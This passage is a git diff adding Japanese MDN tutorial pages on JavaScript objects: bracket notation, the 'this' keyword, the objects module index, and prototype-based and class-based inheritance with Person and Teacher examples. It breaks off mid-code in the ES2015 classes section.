+<p>この動作を確認するため、先ほどのコードの <code>person</code> オブジェクトの中括弧に続いて、次の行をコードに追加してみてください。</p> + +<pre class="brush: js notranslate">let myDataName = 'height'; +let myDataValue = '1.75m'; +person[myDataName] = myDataValue;</pre> + +<p>そして、保存して再度読み込んで、次の行をテキストボックスに入力してみてください。</p> + +<pre class="brush: js notranslate">person.height</pre> + +<p>上記の方法を使用してオブジェクトにプロパティを追加することは、ドット記法ではできません。ドット記法は、名前を指す変数ではなく、書いたとおりのメンバー名のみ受け入れることができます。</p> + +<h2 id="What_is_this" name="What_is_this">"this" とは何か</h2> + +<p>メソッドの中で、少し見慣れない点に気付いたかもしれません。 次の例でその点について考えてみましょう。</p> + +<pre class="brush: js notranslate">greeting: function() { + alert('Hi! I\'m ' + this.name.first + '.'); +}</pre> + +<p>"this" とは何だろうと思ったことでしょう。 この <code>this</code> キーワードはコードの中がその中で書かれている、現在のオブジェクトを参照しています。なので、この場合では <code>person</code> を指します。 なぜ <code>this</code> の代わりに単に <code>person</code> と書かないのでしょうか。 この後 <a href="/ja/docs/Learn/JavaScript/Objects/Object-oriented_JS">初心者のためのオブジェクト指向</a> の記事で見るように、コンストラクター等を書き始めるときに <code>this</code> は非常に便利です。メンバーのコンテキストが変わったとき(例えば 2 つの異なる <code>person</code> オブジェクトのインスタンスは、異なる名前を持っているが、greeting メソッドでそれぞれ自身の名前を使用したいとき)に常に正しい値を保証してくれます。</p> + +<p>それでは、簡略化した <code>person</code> オブジェクトを使って、その意味を説明していきましょう。</p> + +<pre class="brush: js notranslate">const person1 = { + name: 'Chris', + greeting: function() { + alert('Hi! I\'m ' + this.name + '.'); + } +} + +const person2 = { + name: 'Deepti', + greeting: function() { + alert('Hi! I\'m ' + this.name + '.'); + } +}</pre> + +<p>この場合、<code>person1.greeting()</code> は "Hi! I'm Chris." を出力します。一方、<code>person2.greeting()</code> は "Hi! I'm Deepti." を出力します。しかし、どちらの場合も、そのメソッド部分のコードは全く同じです。先に述べたように <code>this</code> はそのコードが中にあるオブジェクトと等しいです — これは手作業でオブジェクトリテラルを書くときにはそれ程便利ではありませんが、動的にオブジェクトを生成する(例えばコンストラクターを使う)ときにとても効果的です。これは、この後によりはっきりとするでしょう。</p> + +<h2 id="Youve_been_using_objects_all_along" name="Youve_been_using_objects_all_along">ずっとオブジェクトを使ってきた</h2> + +<p>これらの例を通して、既に使ってきたドット記述と非常に似ていると考えたかもしれません。なぜならこのコースを通してそのような方法を使用してきたからです。組み込みのブラウザー API や JavaScript オブジェクトを使う例への取り組みを通していつもオブジェクトを使用してきました。なぜならそのような機能は、基本的なカスタム例よりも複雑ではありますが、ここまで見てきたものと全く同種のオブジェクト構造を使うことで構築されているからです。</p> + +<p>だから、このように文字列のメソッドを使うとき:</p> + +<pre class="brush: js notranslate">myString.split(',');</pre> + +<p><code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code> クラスのインスタンスで利用できるメソッドを使用しています。コードの中で文字列を作成するときにはいつでも、その文字列は自動的に <code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code> クラスのインスタンスとして生成されます。そしてそのために、いくつかの共通なメソッドやプロパティを使用することができます。</p> + +<p>次の行のようにドキュメントオブジェクトモデルにアクセスするときは、</p> + +<pre class="brush: js notranslate">const myDiv = document.createElement('div'); +const myVideo = document.querySelector('video');</pre> + +<p><code><a href="/ja/docs/Web/API/Document">Document</a></code> クラスのインスタンスで使用可能なメソッドを使っています。各ウェブページが読み込まれると、<code>document</code> と呼ばれる <code>Document</code> のインスタンスが作られ、それはウェブページ全体の構造、コンテンツ、その URL 等その他の機能を表現します。もう一度述べますが、これはいくつかの共通なメソッドやプロパティを使用できることを意味します。</p> + +<p>今まで使用してきた、<code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;"> や </span></font></code><code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Math">Math</a></code> 等の、他の多くの組み込みのオブジェクトや API でも全く同じです。</p> + +<p>組み込みのオブジェクトと API では常に自動でオブジェクトのインスタンスが生成される訳ではないことを注意する必要があります。例えば、モダンなブラウザーがシステム通知を発行することを許可する <a href="/ja/docs/Web/API/Notifications_API">Notifications API</a> では、発行したい各通知のためにコンストラクターを使用した新しいオブジェクトを生成する必要があります。JavaScript コンソールに次を入力してみてください。</p> + +<pre class="brush: js notranslate">const myNotification = new Notification('Hello!');</pre> + +<p>コンストラクターは後の記事でもう一度見ることができます。</p> + +<div class="note"> +<p><strong>注</strong>: オブジェクトのやり取りを<strong>メッセージの受け渡し</strong>と考えると便利です。オブジェクトが他のオブジェクトにある処理の実行を要求したとき、そのオブジェクトはメソッドを通じて他のオブジェクトにメッセージを送信して、そして応答を待ちます。ご存知の通り、応答とは返り値のことです。</p> +</div> + +<h2 id="Test_your_skills!" name="Test_your_skills!">スキルをテストしましょう!</h2> + +<p>この記事の最後に到達しましたが、最も大事な情報を覚えていますか？次に移動する前に、この情報を保持しているか検証するテストがあります — <a href="/ja/docs/Learn/JavaScript/Objects/Test_your_skills:_Object_basics">Test your skills: Object basics</a> を見てください。</p> + +<h2 id="Summary" name="Summary">おさらい</h2> + +<p>お疲れ様でした。最初の JS オブジェクトの記事の終わりまで到達しました。JavaScript のオブジェクトがどのように機能するかについて、良い考えを得ることができたのではないでしょうか。記事では、簡単なオリジナルオブジェクトの作成を含んでいました。オブジェクトは関連するデータと機能を保存する構造として非常に便利であることも理解しなければいけません。もし別々の変数と関数として、<code>person</code> オブジェクトのすべてのプロパティとメソッドを記録していくとすると、非効率でありストレスが溜まります。そして同じ名前の他の変数や関数をクラッシュしてしまう危険性も抱えてしまいます。オブジェクトは有害な方法を避けて、パッケージの中で安全に鍵をして情報を守ってくれます。</p> + +<p>次の記事ではオブジェクト指向プログラミング (OOP) 理論を見ていきます。そして、JavaScript ではそのような素晴らしい技術を使うことができます。</p> + +<p>{{NextMenu("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Basics">JavaScript オブジェクトの基本</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object-oriented_JS">初心者のためのオブジェクト指向 JavaScript</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object_prototypes">Object のプロトタイプ</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Inheritance">JavaScript での継承</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/JSON">JSON データの操作</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object_building_practice">オブジェクト作成の練習</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">バウンスボールに機能を追加する</a></li> +</ul> diff --git a/files/ja/learn/javascript/objects/index.html b/files/ja/learn/javascript/objects/index.html new file mode 100644 index 0000000000..65df0e0ece --- /dev/null +++ b/files/ja/learn/javascript/objects/index.html @@ -0,0 +1,53 @@ +--- +title: JavaScript オブジェクト入門 +slug: Learn/JavaScript/Objects +tags: + - Article + - Assesment + - Beginner + - CodingScripting + - Guide + - JavaScript + - Learn + - Objects + - Tutorial + - 学習 +translation_of: Learn/JavaScript/Objects +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">JavaScript では、文字列や配列などの JavaScript のコア機能から、JavaScript の最上部に構築されたブラウザ API まで、ほとんどのものがオブジェクトです。関連する関数や変数を効率的なパッケージにカプセル化して、便利なデータコンテナーとして動作する独自のオブジェクトを作成することもできます。JavaScript のオブジェクトベースの性質を理解することは、言語に関する知識をさらに深め、より効率的なコードを書く場合に重要です。したがって、この役立つモジュールを用意しました。ここではオブジェクトの理論と構文を詳しく説明し、独自のオブジェクトを作成する方法を見ていきます。</p> + +<h2 id="Prerequisites" name="Prerequisites">前提条件</h2> + +<p>このモジュールを始める前に、 HTML と CSS にいくらか精通している必要があります。JavaScript を始める前に <a href="https://developer.mozilla.org/ja/docs/Web/Guide/HTML/Introduction">HTML 入門</a>と <a href="https://developer.mozilla.org/ja/docs/Learn/CSS/Introduction_to_CSS">CSS 入門</a>をひととおり学習することをオススメします。</p> + +<p>また、JavaScript オブジェクトを詳細に調べる前に、JavaScript の基本についていくらか精通している必要があります。このモジュールを試す前に、<a href="/ja/docs/Learn/JavaScript/First_steps">JavaScript の第一歩</a> と <a href="/ja/docs/Learn/JavaScript/Building_blocks">JavaScript の構成要素</a>を通して学習してください。</p> + +<div class="note"> +<p><strong>注記 </strong>: もしあなたが作業しているコンピューター・タブレットやその他のデバイスで自分でファイルを作れない場合は、<a href="http://jsbin.com/">JSBin</a> や <a href="https://thimble.mozilla.org/">Thimble</a> といったようなオンラインコーディングプログラムで (ほとんどの場合) 試すことができます。</p> +</div> + +<h2 id="Guides" name="Guides">ガイド</h2> + +<dl> + <dt><a href="/ja/docs/Learn/JavaScript/Objects/Basics">オブジェクトの基本</a></dt> + <dd>JavaScript オブジェクトについて記載している最初の記事では、基本的な JavaScript オブジェクト構文を見てみます。コースの初期段階で既に見た JavaScript の機能を再び見てみたり、すでに扱っている機能の多くは実際にオブジェクトであるという事実を繰り返し述べています。</dd> + <dt><a href="/ja/docs/Learn/JavaScript/Objects/Object-oriented_JS">初心者のためのオブジェクト指向 JavaScript</a></dt> + <dd>まずオブジェクト指向 JavaScript (OOJS) に焦点を当てます — この記事では、オブジェクト指向プログラミング (OOP) 理論の基本ビューを示し、次に JavaScript がコンストラクタ関数を介してオブジェクトクラスをエミュレートする方法と、オブジェクトインスタンスを作成する方法について説明します。</dd> + <dt><a href="/ja/docs/Learn/JavaScript/Objects/Object_prototypes">オブジェクトプロトタイプ</a></dt> + <dd>プロトタイプは、JavaScript オブジェクトが互いに機能を継承するメカニズムであり、古典的なオブジェクト指向プログラミング言語の継承メカニズムとは異なる働きをします。この記事では、その違いを探り、プロトタイプチェーンの仕組みを説明し、prototype プロパティを使用して既存のコンストラクタにメソッドを追加する方法を見ていきます。</dd> + <dt><a href="/ja/docs/Learn/JavaScript/Objects/Inheritance">JavaScript での継承</a></dt> + <dd>OOJS の大部分の詳細がこれまで説明されているため、この記事では、「親」クラスから機能を継承する「子」オブジェクトクラス (のコンストラクタ) を作成する方法を示します。また OOJS をいつどこで使用するかについてのアドバイスも提供しています。</dd> + <dt><a href="/ja/docs/Learn/JavaScript/Objects/JSON">JSON データの操作</a></dt> + <dd>JavaScript Object Notation (JSON) は、JavaScript オブジェクト構文に基づいて構造化されたデータを表現するための標準のテキストベースのフォーマットであり、ウェブサイト上でデータを表現し、送信するために一般的に使用されます (すなわち、サーバーからクライアントへデータを送信して、その結果ウェブページ上に表示することができます)。これはとても良く見るものなので、この記事では、JSON を解析してその中のデータ項目にアクセスしたり、独自の JSON を記述したりするなど、JavaScript を使用して JSON を操作するために必要なことをすべて説明します。</dd> + <dt><a href="/ja/docs/Learn/JavaScript/Objects/Object_building_practice">オブジェクト構築の練習</a></dt> + <dd>これまでの記事では、基本的な JavaScript オブジェクトの理論と構文の詳細をすべて見てもらい、あなたには出発できるしっかりとした基本が与えられました。この記事では実践的なエクササイズを行い、もっと楽しい色とりどりの色付きのボールを作成するカスタム JavaScript オブジェクトを作る練習をしていきます。</dd> +</dl> + +<h2 id="Assessments" name="Assessments">評価</h2> + +<dl> + <dt><a href="/ja/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">バウンスボールのデモへの機能の追加</a></dt> + <dd>この評価では、前の記事のバウンスボールデモを出発点として使用し、新しい興味深い機能を追加する予定です。</dd> +</dl> diff --git a/files/ja/learn/javascript/objects/inheritance/index.html b/files/ja/learn/javascript/objects/inheritance/index.html new file mode 100644 index 0000000000..7830f5a676 --- /dev/null +++ b/files/ja/learn/javascript/objects/inheritance/index.html @@ -0,0 +1,412 @@ +--- +title: JavaScript での継承 +slug: Learn/JavaScript/Objects/Inheritance +tags: + - Article + - CodingScripting + - Inheritance + - JavaScript + - OOJS + - OOP + - Object + - Prototype + - 'l10n:priority' + - 初心者 + - 学習 +translation_of: Learn/JavaScript/Objects/Inheritance +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects")}}</div> + +<p class="summary">OOJS のぞっとするような細部はほとんど説明されたので、ここでは”親”クラスからの機能を継承する”子供”のオブジェクトクラス (コンストラクタ) の生成方法について解説します。さらに、いつ、どこで OOJS を使うかについてのアドバイスを提示し、最新の ECMAScript の構文でクラスがどのように扱われるかを見ていきます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識</th> + <td>基本的なコンピュータの知識および利用能力、HTML と CSS への基本的な理解、JavaScript の基本 (<a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps">第一歩</a>と<a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/Building_blocks">構成要素</a>を参照) と OOJS の基本 (<a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/Objects/Basics">オブジェクト入門</a>) に慣れている。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>JavaScript でどのように継承ができるようになっているかを理解していること。</td> + </tr> + </tbody> +</table> + +<h2 id="Prototypal_inheritance" name="Prototypal_inheritance">プロトタイプでの継承</h2> + +<p>ここまで動作している継承 ー プロトタイプチェーンがどのように動作するか、どのようにメンバーが繋がるチェーンから継承されるのかを見てきました。しかし、これらの大半はブラウザーの組み込み関数で実行されています。我々が他のオブジェクトから継承したオブジェクトを作成するには JavaScript でどのようにするのでしょうか。</p> + +<p>具体的な例をjj使ってどのようの継承が行われているかを見てゆきましょう。</p> + +<h2 id="Getting_started" name="Getting_started">さあ始めてみよう</h2> + +<p>まず、<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-start.html">oojs-class-inheritance-start.html</a> ファイルをローカルにコピーしましょう (あるいは<a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-start.html">ライブ版の実行</a>でも確認できます)。ここでこのモジュールで幅広く使用されてきた <code>Person()</code> というコンストラクタの例を見つけることができます。わずかな違いがあって、コンストラクタ内部にプロパティのみが定義されています。</p> + +<pre class="brush: js notranslate">function Person(first, last, age, gender, interests) { + this.name = { + first, + last + }; + this.age = age; + this.gender = gender; + this.interests = interests; +};</pre> + +<p>メソッドはすべてコンストラクタのプロトタイプとして定義されています。例えば、</p> + +<pre class="brush: js notranslate">Person.prototype.greeting = function() { + alert('Hi! I\'m ' + this.name.first + '.'); +};</pre> + +<div class="note"> +<p><strong>注意</strong>: ソースコードに、<code>bio()</code> と <code>farewell()</code> が定義されています。後ほどこれらのメソッドがどのようにほかのコンストラクタで継承されるのかを確認します。</p> +</div> + +<p><code>Teacher</code> クラスを作成したい場合を考えましょう。これは最初のオブジェクト指向の特徴にて述べたもののようなクラスで、<code>Person</code> からすべてのメンバーを継承しますが、次のものも内包しています。</p> + +<ol> + <li>新しいプロパティの <code>subject</code> — これはその先生の教える科目を格納します。</li> + <li>上書きされた <code>greeting()</code> メソッド、標準の <code>greeting()</code> メソッドよりわずかに固く感じられる — 学校で生徒に語りかける先生により相応しい。</li> +</ol> + +<h2 id="Defining_a_Teacher_constructor_function" name="Defining_a_Teacher_constructor_function">Teacher() コンストラクタの機能を定義しよう</h2> + +<p>われわれのまずすべき事は <code>Teacher()</code> コンストラクタを作成する事です — 以下に続くコードを既存コードの下に追加してください。</p> + +<pre class="brush: js notranslate">function Teacher(first, last, age, gender, interests, subject) { + Person.call(this, first, last, age, gender, interests); + + this.subject = subject; +}</pre> + +<p>これは多くの点で Person コンストラクタと似ていますが、これまでに見てきたものと異なったものがあります— <code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Function/call">call()</a></code> 関数です。この関数は基本的にその他の場所 (ただし現在のコンテキスト) で定義された関数から呼ぶことができます。最初の引数は関数を実行するときに使用することのできる <code>this</code> の値を表します、また他の引数は実行される関数に渡されるべき値です。</p> + +<p><code>Teacher()</code> コンストラクタは継承元の <code>Person()</code> コンストラクタと同じ引数を取りたいため、 <code>call()</code> を呼び出して、すべての引き数を引数として渡します。</p> + +<p>コンストラクタの最後の行は、先生が行うべきであり、一般の人が持たない新たな <code>subject</code>(授業) のプロパティを定義しています。</p> + +<p>注意として、下記のソースのように、このようにシンプルにも書けます。</p> + +<pre class="brush: js notranslate">function Teacher(first, last, age, gender, interests, subject) { + this.name = { + first, + last + }; + this.age = age; + this.gender = gender; + this.interests = interests; + this.subject = subject; +}</pre> + +<p>しかしながらこれはただ改めてプロパティを再定義しているだけで、 <code>Person()</code> から継承していません、そのため、説明しようとしたポイントが伝わりません。またコード行数が多くもなります。</p> + +<h3 id="Inheriting_from_a_constructor_with_no_parameters" name="Inheriting_from_a_constructor_with_no_parameters">引数なしのコンストラクタからの継承</h3> + +<p>もし継承したコンストラクタがパラメータからプロパティの値を取得しない場合、 <code>call()</code> の呼び出しで追加の引数を指定する必要がないことを示しておきます。そのため、例えば、このような本当にシンプルなものがある場合、</p> + +<pre class="brush: js notranslate">function Brick() { + this.width = 10; + this.height = 20; +}</pre> + +<p>このように書くことで <code>width</code> と <code>height</code> プロパティを継承することができます(もちろん、下に挙げる数行のステップの様にすることもできます)。</p> + +<pre class="brush: js notranslate">function BlueGlassBrick() { + Brick.call(this); + + this.opacity = 0.5; + this.color = 'blue'; +}</pre> + +<p> <code>call()</code> の中に <code>this</code> だけを記載していることに注意して下さい— 引数を介して親より設定されるどのプロパティも継承しないので他の引数は不要です。</p> + +<h2 id="Setting_Teachers_prototype_and_constructor_reference" name="Setting_Teachers_prototype_and_constructor_reference">Teacher()のプロトタイプ とコンストラクタの参照への設定方法</h2> + +<p>今まではすべて順調でしたが、1点問題があります。新しいコンストラクタを定義して、その中に 1 つの <code>prototype</code> プロパティを持たせ、これはデフォルトでただ自身のコンストラクタ関数への参照を保持しています。Person のコンストラクタの <code>prototype</code> プロパティへのメソッド群は持っていません。このことを見てみたいのならば <code>Object.getOwnPropertyNames(Teacher.prototype)</code> をテキスト入力フィールドや JavaScript コンソールへ入力を試してみてください。そして再度入力する時には、<code>Teacher</code> を <code>Person</code> で置き換えてみてください。新しいコンストラクタもそれらのメソッドを継承していません。このことを確認するために、<code>Person.prototype.greeting</code> と <code>Teacher.prototype.greeting</code> の出力結果を比べてみてください。<code>Person()</code> のプロトタイプに定義されたメソッドを継承するために <code>Teacher()</code> を生成する必要があります。ではどのようにすればよいのでしょうか。</p> + +<ol> + <li>前回追加した部分の下に以下の行を追加してみましょう: + <pre class="brush: js notranslate">Teacher.prototype = Object.create(Person.prototype);</pre> + ここで我々に馴染み深い <code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Object/create">create()</a></code> に再度助けてもらいましょう。この場合に新しいオブジェクトを作ってそれを <code>Teacher.prototype</code> の値とするのに使います。新しいオブジェクトは <code>Person.prototype</code> を自身のプロトタイプとして保持し、それがゆえに(必要となる時には) <code>Person.prototype</code> 上で利用できるすべてのメソッドを継承します。</li> + <li>先に進む前にもう一つやることがあります。<br> + 最後の行を追加した後、<code>Teacher.</code><code>prototype</code> の <code>constructor</code> プロパティは <code>Person()</code> と同じになりました。なぜなら、<code>Person.prototype</code> からプロパティを継承するオブジェクトを参照するように <code>Teacher.prototype</code> を設定しただけだからです。コードを保存し、ブラウザでページを読み込み、コンソールに <code>Teacher.prototype.constructor</code> と入力して確認してみてください。</li> + <li>これは問題になるかもしれません、なので以下の内容をすぐに設定しましょう。 ソースコードにまた戻って最後に以下の行を追加しましょう。 + <pre class="brush: js notranslate">Object.defineProperty(Teacher.prototype, 'constructor', { + value: Teacher, + enumerable: false, // 'for in'ループで現れないようにする + writable: true });</pre> + </li> + <li>ソースコードを保存およびページの再読み込みを行って、 <code>Teacher.prototype.constructor</code> と入力したならば <code>Teacher()</code> と返すでしょう、希望した通りに <code>Person()</code> から継承することができました！</li> +</ol> + +<h2 id="Giving_Teacher_a_new_greeting_function" name="Giving_Teacher_a_new_greeting_function">Teacher() に greeting() ファンクションを付け加える</h2> + +<p>コードを完成させる前に、<code>Teacher()</code> コンストラクタに新たに <code>greeting()</code> 関数を追加する必要があります。</p> + +<p>このようにする一番簡単な方法は <code>Teacher()</code> のプロトタイプに定義することです — コードの最後に以下のコードを追加します。</p> + +<pre class="brush: js notranslate">Teacher.prototype.greeting = function() { + let prefix; + + if (this.gender === 'male' || this.gender === 'Male' || this.gender === 'm' || this.gender === 'M') { + prefix = 'Mr.'; + } else if (this.gender === 'female' || this.gender === 'Female' || this.gender === 'f' || this.gender === 'F') { + prefix = 'Mrs.'; + } else { + prefix = 'Mx.'; + } + + alert('Hello. My name is ' + prefix + ' ' + this.name.last + ', and I teach ' + this.subject + '.'); +};</pre> + +<p>これは性別を基にした適切な敬称を使う教師の挨拶を通知します。条件文を使うことで実現します。</p> + +<h2 id="Trying_the_example_out" name="Trying_the_example_out">例を試してみよう</h2> + +<p>これまでのコードをすべて入力し終えているなら、ソースコード(もしくはあなたの用意した同じようなコードに)の最後に続けて <code>Teacher()</code> からオブジェクトインスタンスを生成してみましょう。</p> + +<pre class="brush: js notranslate">let teacher1 = new Teacher('Dave', 'Griffiths', 31, 'male', ['football', 'cookery'], 'mathematics');</pre> + +<p>保存し、再読み込みをしたなら、新たな <code>teacher1</code> オブジェクトのプロパティとメソッドにアクセスしてみましょう、例えば。</p> + +<pre class="brush: js notranslate">teacher1.name.first; +teacher1.interests[0]; +teacher1.bio(); +teacher1.subject; +teacher1.greeting(); +teacher1.farewell();</pre> + +<p>これらはすべて正常に動作するはずです。1, 2, 3, 6 行目のクエリは、ジェネリックな <code>Person()</code> コンストラクタ (クラス) から継承されたメンバにアクセスします。4 行目のクエリは、より特殊な <code>Teacher()</code> コンストラクタ (クラス) でのみ利用可能なメンバにアクセスしています。5 行目のクエリは <code>Person()</code> から継承したメンバにアクセスしていますが、<code>Teacher()</code> には同じ名前の独自のメンバがあるため、そのメンバにアクセスしています。</p> + +<div class="note"> +<p><strong>注記</strong>: もしここまでの例がうまく動作しないなら、あなたのコードと<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-finished.html">完成版</a>(<a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-finished.html">ライブ版</a>も参照)を比較してみてください。</p> +</div> + +<p>ここで述べている手法は JavaScript でクラスを継承する唯一の方法ではなく、問題なく動作し、JavaScript でのどのように実装するかの良いアイデアを提示しています。</p> + +<p>また JavaScript でより明瞭に継承を行えるようにした新しい{{glossary("ECMAScript")}}の機能(<a href="/ja/docs/Web/JavaScript/Reference/Classes">Classes</a> を参照)にも興味を持つかもしれません。ここではそれらについて言及はしませんでした、それはまだブラウザー間で幅広くサポートされていないためです。一連の記事で検討してきた他のコード構造はすべて、IE9 やそれ以前のバージョンといった、はるか以前よりサポートされており、それより早くからのサポートを確認する方法となります。</p> + +<p>一般的な方法は JavaScript ライブラリを使用することです — よく知られた選択肢のうちの大部分は、よりたやすく素早く利用できる簡易な機能セットを持っています。例えば <a href="http://coffeescript.org/#classes">CoffeeScript</a> は <code>class</code>, <code>extends</code> などを提供します。</p> + +<h2 id="A_further_exercise" name="A_further_exercise">追加の特訓</h2> + +<p><a href="/ja/docs/Learn/JavaScript/Objects/Object-oriented_JS#Object-oriented_programming_from_10000_meters">OOP 理論のセクション</a>では、概念として <code>Student</code> クラスも取り上げました。このクラスは <code>Person</code> のすべての機能を継承しており、また <code>Person</code> とは異なる <code>Teacher</code> の greeting よりもはるかにくだけた <code>greeting()</code> メソッドを持っています。このセクションで生徒の挨拶がどのように見えるかを見て、<code>Person()</code> のすべての機能を継承し、異なる <code>greeting()</code> 関数を実装した独自の <code>Student()</code> コンストラクタを実装してみてください。</p> + +<div class="note"> +<p><strong>注記</strong>: もしここまでの例がうまく動作しないなら、あなたのコードと<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-finished.html">完成版</a>(<a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-finished.html">動作するライブ版</a>も参照)を比較してみてください。</p> +</div> + +<h2 id="Object_member_summary" name="Object_member_summary">Object メンバーの概要</h2> + +<p>要約すると、気になるプロパティ/メソッドは4種類あります。</p> + +<ol> + <li>コンストラクタ関数の内部で定義され、オブジェクトインスタンスに与えられるもの。独自のカスタムコードでは、コンストラクタの内部で <code>this.x = x</code> 型の行を使用して定義されたメンバです。組み込みのブラウザコードでは、オブジェクトインスタンス (通常は <code>new</code> キーワードを使用してコンストラクタを呼び出すことで作成されます。例: <code>let myInstance = new myConstructor()</code>) のみが利用可能なメンバです</li> + <li>コンストラクタ自身で直接定義されたもので、コンストラクタ上でのみ利用可能なもの。これらは一般的に組み込みのブラウザオブジェクトでのみ利用可能であり、インスタンスではなくコンストラクタに直接連結されていることで認識されます。たとえば <code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Object/keys">Object.keys()</a></code> などです。これらは<strong>静的プロパティ/メソッド</strong>としても知られています</li> + <li>コンストラクタのプロトタイプに定義されているもので、すべてのインスタンスに継承され、オブジェクトクラスを継承しているもの。これらには、コンストラクタの <code>prototype</code> プロパティに定義されている任意のメンバ (例: <code>myConstructor.prototype.x()</code>) が含まれます</li> + <li>これらは、上で見たようにコンストラクタがインスタンス化されたときに作成されるオブジェクト (例えば <code>let teacher1 = new Teacher('Chris');</code> の後に <code>teacher1.name</code>)、またはオブジェクトリテラル (<code>let teacher1 = { name : 'Chris' }</code> の後に <code>teacher1.name</code>) のいずれかであることができます</li> +</ol> + +<p>もしどれがどれを指すかを区別できないのであれば、まだ気にしないでください — あなたはまだ学習中で、実践を通じて精通することでしょう。</p> + +<h2 id="ECMAScript_2015_Classes" name="ECMAScript_2015_Classes">ECMAScript 2015 のクラス</h2> + +<p>ECMAScript 2015では、C++ や Java のクラスに似た、より簡単で洗練された構文を使用して再利用可能なクラスを記述する方法として、JavaScript に<a href="/ja/docs/Web/JavaScript/Reference/Classes">クラス構文</a>を導入しています。このセクションでは、Person と Teacher の例をプロトタイプの継承からクラスに変更して、どのようにして行うかを示します。</p> + +<div class="note"> +<p><strong>メモ</strong>: この近代的なクラスの作成方法は現在のすべてのブラウザでサポートされていますが、この構文をサポートしていないブラウザ (特に Internet Explorer) をサポートする必要があるプロジェクトで作業する場合に備えて、基本的なプロトタイプの継承の仕組みについて知っておくことはまだ価値があります。</p> +</div> + +<p>Person の例を class-style で書き直したバージョンを見てみましょう：</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">class</span> <span class="class-name token">Person</span> <span class="punctuation token">{</span> + <span class="function token">constructor</span><span class="punctuation token">(</span>first<span class="punctuation token">,</span> last<span class="punctuation token">,</span> age<span class="punctuation token">,</span> gender<span class="punctuation token">,</span> interests<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">this</span><span class="punctuation token">.</span>name <span class="operator token">=</span> <span class="punctuation token">{</span> + first<span class="punctuation token">,</span> + last + <span class="punctuation token">}</span><span class="punctuation token">;</span> + <span class="keyword token">this</span><span class="punctuation token">.</span>age <span class="operator token">=</span> age<span class="punctuation token">;</span> + <span class="keyword token">this</span><span class="punctuation token">.</span>gender <span class="operator token">=</span> gender<span class="punctuation token">;</span> + <span class="keyword token">this</span><span class="punctuation token">.</span>interests <span class="operator token">=</span> interests<span class="punctuation token">;</span> + <span class="punctuation token">}</span> + + <span class="function token">greeting</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="template-string token"><span class="string token">`Hi! I'm </span><span class="interpolation token"><span class="interpolation-punctuation punctuation token">${</span><span class="keyword token">this</span><span class="punctuation token">.</span>name<span class="punctuation token">.</span>first<span class="interpolation-punctuation punctuation token">}</span></span><span class="string token">`</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">;</span> + + <span class="function token">farewell</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="template-string token"><span class="string token">`</span><span class="interpolation token"><span class="interpolation-punctuation punctuation token">${</span><span class="keyword token">this</span><span class="punctuation token">.</span>name<span class="punctuation token">.</span>first<span class="interpolation-punctuation punctuation token">}</span></span><span class="string token"> has left the building. Bye for now!`</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span></code></pre> + +<p><a href="/ja/docs/Web/JavaScript/Reference/Statements/class">class</a>ステートメントは、新しいクラスを作成していることを示します。 このブロックの中で、クラスのすべての機能を定義します。</p> + +<ul> + <li><code><a href="/ja/docs/Web/JavaScript/Reference/Classes/constructor">constructor()</a></code> メソッドは、<code>Person</code>クラスを表すコンストラクタ関数を定義します</li> + <li><code>greeting()</code> と <code>farewell()</code> はクラスメソッドです。クラスに関連付けたいメソッドは、コンストラクタの後に定義されます。この例では、コードを読みやすくするために、文字列連結ではなく<a href="/ja/docs/Web/JavaScript/Reference/template_strings">テンプレート文字列</a>を使用しています</li> +</ul> + +<p>以前と同じように<a href="/ja/docs/Web/JavaScript/Reference/Operators/new">new演算子</a>を使用してオブジェクトインスタンスをインスタンス化できるようになりました。</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">let</span> han <span class="operator token">=</span> <span 